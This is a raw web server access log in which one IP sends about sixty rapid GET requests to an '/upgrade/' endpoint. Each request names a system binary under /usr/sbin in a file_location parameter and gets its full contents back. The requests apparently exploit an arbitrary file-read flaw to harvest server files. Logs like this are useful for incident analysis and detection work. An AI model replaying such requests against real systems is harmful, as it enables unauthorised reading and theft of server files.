45.135.193.11 - - [11/Sep/2026:23:06:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsfdisk&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 79626 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsfdisk&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_estimate&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 42586 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_estimate&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fagetty&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 60133 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fagetty&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fiptables-restore-translate&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138165 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fiptables-restore-translate&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnamed-compilezone&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 50214 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnamed-compilezone&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fchcpu&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 48581 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fchcpu&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fchpasswd&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 58317 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fchpasswd&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fexinext&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41255 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fexinext&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frpc.statd&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 69858 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frpc.statd&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fupdate-smart-drivedb&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 51135 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fupdate-smart-drivedb&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsmartctl&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 361078 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsmartctl&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmariadbd&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 8626160 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmariadbd&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fcfdisk&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 75945 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fcfdisk&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fexim_dumpdb&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 50626 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fexim_dumpdb&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fip6tables-nft&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138167 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fip6tables-nft&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fip&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 400084 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fip&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flpasswd&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 44211 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flpasswd&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ftc&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 332725 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ftc&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fip6tables-save&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138213 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fip6tables-save&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fchronyd&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 239512 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fchronyd&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fexim_tidydb&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 49993 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fexim_tidydb&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Freboot&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 163484 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Freboot&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fcgdisk&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 111210 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fcgdisk&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrub2-probe&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 660769 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrub2-probe&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flspci&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 83487 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flspci&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpacker&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41027 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpacker&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffsck.vfat&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 75142 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffsck.vfat&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Favcstat&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 42775 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Favcstat&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpdns_server&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 2275027 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpdns_server&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fselinuxexeccon&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41177 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fselinuxexeccon&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fauditctl&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 56257 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fauditctl&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fblkdiscard&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 45245 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fblkdiscard&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fcracklib-unpacker&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 40397 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fcracklib-unpacker&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flogsave&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 42506 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flogsave&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnamed-checkconf&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 51418 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnamed-checkconf&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fselinuxconlist&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41642 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fselinuxconlist&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Farping&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 47986 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Farping&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Finit&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 74458 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Finit&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkdumprd&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 42661 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkdumprd&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkhomedir_helper&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 42611 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkhomedir_helper&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fswaplabel&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 43454 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fswaplabel&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frpcdebug&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 43042 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frpcdebug&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsm-notify&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 57791 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsm-notify&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fwhmlogin&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 38542 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fwhmlogin&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrpck&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 60830 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrpck&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkfs&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 42597 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkfs&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnfsstat&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 50392 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnfsstat&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpartprobe&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 42546 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpartprobe&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpivot_root&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41712 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpivot_root&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Febtables-save&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138217 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Febtables-save&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgdisk&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 126565 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgdisk&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkfs.ext2&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 97309 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkfs.ext2&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsendmail&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 42160 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsendmail&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxqmstats&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41870 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxqmstats&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fefibootmgr&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 56228 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fefibootmgr&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffsck.fat&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 75055 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffsck.fat&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fg13-syshelp&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 75384 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fg13-syshelp&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ficonvconfig&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 50998 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ficonvconfig&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffsck.cramfs&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 48212 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffsck.cramfs&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmatchpathcon&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 42391 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmatchpathcon&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
